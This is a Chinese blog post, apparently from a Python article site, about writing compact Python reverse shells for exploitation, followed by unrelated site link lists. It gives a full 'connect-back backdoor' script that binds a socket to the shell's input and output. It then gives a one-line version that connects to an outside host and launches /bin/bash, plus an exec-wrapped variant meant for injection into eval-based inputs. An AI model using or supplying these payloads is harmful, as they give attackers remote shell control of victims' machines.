在漏洞利用Python代码真的很爽


Posted in Python onAugust 26, 2007

不知道怎么忽然想看这个,呵呵
小我的python的反shell的代码
#!/usr/bin/python
# Python Connect-back Backdoor
# Author: wofeiwo <wofeiwo[0x40]gmail[0x2e]com>
# Version: 1.0
# Date: July 15th 2006

import sys
import os
import socket
shell = "/bin/sh"

def usage(programname):
  print "Python Connect-back Backdoor"
  print "Auther: wofeiwo <wofeiwo[0x40]gmail[0x2e]com>"
  print "Date: July 15th 2006\n"
  print "Usage: %s <conn_back_host> <port>\n" % programname

def main():
  if len(sys.argv) != 3: 
    usage(sys.argv[0])
    sys.exit(1)

  s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  try: 
    s.connect((socket.gethostbyname(sys.argv[1]),int(sys.argv[2])))
    print "[+] Connect ok." 
  except: 
    print "[-] Could not connect to %s:%s" % (sys.argv[1], sys.argv[2]) 
    sys.exit(2)
  s.send("-------------------- Python Connect-back Backdoor --------------------\n")
  s.send("----------------------------- By wofeiwo -----------------------------\n")
  os.dup2(s.fileno(), 0)
  os.dup2(s.fileno(), 1)
  os.dup2(s.fileno(), 2)
  global shell
  os.system(shell)
  print "See U!"
  s.close()

if __name__ == "__main__": main()

用在漏洞利用的时候不太好,不是么?我们想要短点的,节省下就是

import sys;import os;import socket;s = socket.socket(socket.AF_INET, socket.SOCK_STREAM);s.connect((socket.gethostbyname("www.loveshell.net"),9999));s.send("Welcome my master\r\n");os.dup2(s.fileno(), 0);os.dup2(s.fileno(), 1);os.dup2(s.fileno(), 2);s.send("Is there a shell?\r\n");os.system("/bin/bash");s.close();s.send("See u next time!\r\n");

如何?很短了吧?
不过很可能漏洞利用的地方不允许多语句,譬如允许的输入是在eval当中,不能多语句(后面有解释)那么还可以变化下
exec 'import sys;import os;import socket;s = socket.socket(socket.AF_INET, socket.SOCK_STREAM);s.connect((socket.gethostbyname("www.loveshell.net"),9999));s.send("Welcome my master\\r\\n");os.dup2(s.fileno(), 0);os.dup2(s.fileno(), 1);os.dup2(s.fileno(), 2);s.send("Is there a shell?\\r\\n");os.system("/bin/bash");s.close();s.send("See u next time!\\r\\n");';

注意是\\r\\n哦,即使在''里好象\r\n一样会成为换行,所以其实这里即使不用;一样可以构造好代码的,另外,为什么不用eval呢?
翻了下手册
exec语句用来执行储存在字符串或文件中的Python语句。例如,我们可以在运行时生成一个包含Python代码的字符串,然后使用exec语句执行这些语句

eval语句用来计算存储在字符串中的有效Python表达式

呵呵,这里用eval好象会出错.
YY一下,思想是相同的,但是具体到语言又是不一样的,如何跳出语言的限制呢?是个问题......

Python 相关文章推荐
Python数据类型详解(一)字符串
May 08 Python
python爬虫之百度API调用方法
Jun 11 Python
对numpy中布尔型数组的处理方法详解
Apr 17 Python
Python selenium抓取微博内容的示例代码
May 17 Python
python实现名片管理系统
Nov 29 Python
对python多线程中Lock()与RLock()锁详解
Jan 11 Python
将python包发布到PyPI和制作whl文件方式
Dec 25 Python
使用python实现CGI环境搭建过程解析
Apr 28 Python
Tensorflow tensor 数学运算和逻辑运算方式
Jun 30 Python
python实现网页录音效果
Oct 26 Python
如何正确理解python装饰器
Jun 15 Python
python绘制云雨图raincloud plot
Aug 05 Python
python编程-将Python程序转化为可执行程序[整理]
Apr 09 #Python
python的几种开发工具介绍
Mar 07 #Python
王纯业的Python学习笔记 下载
Feb 10 #Python
一篇不错的Python入门教程
Feb 08 #Python
Python学习资料
Feb 08 #Python
Python完全新手教程
Feb 08 #Python
简明 Python 基础学习教程
Feb 08 #Python
You might like
DOTA2游戏同人动画《龙之血》导演接受采访
2021/03/05 欧美动漫
使用GD库生成带阴影文字的图片
2015/03/27 PHP
php实现html标签闭合检测与修复方法
2015/07/09 PHP
PHP自毁程序(慎用)
2015/07/09 PHP
CI配置多数据库访问的方法
2016/03/28 PHP
PHP登录(ajax提交数据和后台校验)实例分享
2016/12/29 PHP
JavaScript Base64编码和解码,实现URL参数传递。
2006/09/18 Javascript
Use Word to Search for Files
2007/06/15 Javascript
IE FF OPERA都可用的弹出层实现代码
2009/09/29 Javascript
JS 屏蔽按键效果与改变按键效果的示例代码
2013/12/24 Javascript
jquery live()调用不存在的解决方法
2014/02/26 Javascript
hovertree插件实现二级树形菜单(简单实用)
2016/12/28 Javascript
ES6扩展运算符的用途实例详解
2017/08/20 Javascript
Vue中的scoped实现原理及穿透方法
2018/05/15 Javascript
JavaScript实现点击出现图片并统计点击次数功能示例
2018/07/23 Javascript
使用js实现将后台传入的json数据放在前台显示
2018/08/06 Javascript
Vue 权限控制的两种方法(路由验证)
2019/08/16 Javascript
Layui事件监听的实现(表单和数据表格)
2019/10/17 Javascript
浅析Python中的多条件排序实现
2016/06/07 Python
python使用pandas实现数据分割实例代码
2018/01/25 Python
django将图片上传数据库后在前端显式的方法
2018/05/25 Python
python 统计列表中不同元素的数量方法
2018/06/29 Python
Python进阶之全面解读高级特性之切片
2019/02/19 Python
详解pytorch 0.4.0迁移指南
2019/06/16 Python
python 实用工具状态机transitions
2020/11/21 Python
[原创]赚疯了!转手立赚800+?大佬的python「抢茅台脚本」使用教程
2021/01/12 Python
解决pycharm 格式报错tabs和space不一致问题
2021/02/26 Python
浅谈CSS3 动画卡顿解决方案
2019/01/02 HTML / CSS
新奇的小玩意:IWOOT
2016/07/21 全球购物
肯尼亚网上商城:Kilimall
2016/08/20 全球购物
台湾家适得:Homeget
2019/02/11 全球购物
专升本学生毕业自我鉴定
2014/10/04 职场文书
大学生党员自我批评思想汇报
2014/10/10 职场文书
党的群众路线教育实践活动整改落实情况自查报告
2014/10/28 职场文书
幼儿园小班开学寄语(2016秋季)
2015/12/03 职场文书
Redis实战高并发之扣减库存项目
2022/04/14 Redis